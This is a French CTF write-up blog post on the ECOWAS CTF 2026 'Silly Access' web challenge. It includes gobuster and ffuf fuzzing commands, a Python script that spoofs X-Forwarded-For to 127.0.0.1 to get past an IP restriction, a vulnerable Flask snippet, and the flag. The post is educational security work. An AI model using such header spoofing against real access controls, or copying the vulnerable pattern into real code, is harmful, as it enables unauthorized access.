Post

ECOWAS CTF 2026 — Silly Access [Web/200pts]

CTF : ECOWAS CTF 2026 · Catégorie : Web · Difficulté : ⭐⭐ (Medium) · Points : 200
← Retour à l’index du CTF


Informations

Champ Valeur
CTF ECOWAS CTF 2026 — Phase 2 (Drop 19H00, 10 Avril 2026)
Catégorie Web
Points 200
Difficulté Medium
URL http://labs.ctfzone.com:5003/
   

Description

A junior delegate left the restriction logic in a very trusting state. My language is your language but sometimes we communicate it at foreign countries!

Analyse

Décomposer la description

  • “restriction logic in a very trusting state” → L’application fait confiance naïvement à certains headers HTTP (pattern classique : SSRF bypass, IP spoofing via X-Forwarded-For)
  • “My language is your language” → Il faut présenter une langue (header Accept-Language)
  • “foreign countries” → La langue doit être “étrangère” au point de vue du serveur, mais reconnue

Observation comportementale

La racine / renvoie un 200 avec body vide pour toutes les requêtes. L’app Flask existe mais ne renvoie rien de visible.

→ Il y a sûrement d’autres routes cachées.

Directory fuzzing — l’étape clé

On utilise Gobuster (ou ffuf) pour découvrir les routes cachées :

# Avec Gobuster gobuster dir \ -u http://labs.ctfzone.com:5003/ \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \ -t 50 # Ou avec ffuf ffuf -u http://labs.ctfzone.com:5003/FUZZ \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \ -mc 200,301,302,403

Burp Suite peut aussi être utilisé : activer le proxy dans le navigateur, visiter le site, puis lancer le Spider ou l’Active Scan pour découvrir les endpoints. Aller dans Target → Site map → clic droit → Spider this host.

Résultat :

GET /portal → 403 Forbidden

Le /portal existe mais renvoie 403 avec un message d’erreur double :

{ "error": "Access denied - suspicious IP", "hint": "This portal only accepts local connections" }

ET :

{ "error": "Unsupported language", "hint": "We only serve delegates in recognized ECOWAS languages" }

Deux restrictions simultanées :

  1. Restriction IP : le serveur n’accepte que 127.0.0.1 (localhost)
  2. Restriction langue : doit fournir un header Accept-Language reconnu (langue ECOWAS : fr, en, pt)

Solution

Double bypass

L’app Flask fait confiance au header X-Forwarded-For (typique quand une appli est derrière un reverse proxy — elle trusts ce header sans validation) et vérifie Accept-Language.

import requests r = requests.get( 'http://labs.ctfzone.com:5003/portal', headers={ 'X-Forwarded-For': '127.0.0.1', # Spoofing IP locale 'Accept-Language': 'fr', # Langue ECOWAS reconnue } ) print(r.json())

Réponse :

{ "flag": "EcowasCTF{h34d3rs_sp00f3d_dipl0m@t_@ccess}", "message": "Welcome, trusted delegate. Access granted to the 'portal'", "status": "granted" }

Pourquoi ça marche ?

X-Forwarded-For spoofing

Le header X-Forwarded-For est ajouté par les proxies/load balancers pour indiquer l’IP d’origine du client. Quand une app Flask vérifie l’IP avec request.remote_addr via un proxy, elle peut voir l’IP du proxy au lieu de l’IP client. Certains développeurs utilisent alors request.headers.get('X-Forwarded-For') à la place — mais ce header peut être forgé par n’importe qui !

# Code vulnérable Flask : ip = request.headers.get('X-Forwarded-For', request.remote_addr) if ip != '127.0.0.1': return jsonify({"error": "Access denied"})

Il suffit d’envoyer X-Forwarded-For: 127.0.0.1 pour bypasser.

Accept-Language parsing

Flask (et Werkzeug) gèrent nativement le header Accept-Language. L’app vérifie si la langue demandée est dans une liste de langues ECOWAS autorisées (fr, en, pt).

Script complet

import requests BASE = 'http://labs.ctfzone.com:5003' # Étape 1 : Fuzzer les routes (avec wordlist) # → Découverte de /portal (403) # Étape 2 : Double bypass r = requests.get( BASE + '/portal', headers={ 'X-Forwarded-For': '127.0.0.1', 'Accept-Language': 'fr', } ) data = r.json() print(data['flag'])

Processus de discovery

1. GET / → 200 empty (app existe) 2. GET /portal → 403 + double restriction hint 3. Bypass #1: X-Forwarded-For: 127.0.0.1 4. Bypass #2: Accept-Language: fr 5. GET /portal (avec les 2 headers) → 200 + FLAG

Flag

EcowasCTF{h34d3rs_sp00f3d_dipl0m@t_@ccess}

Ressources


← Retour à l’index du CTF

Cet article est sous licence CC BY 4.0 par t3chw1z4rd.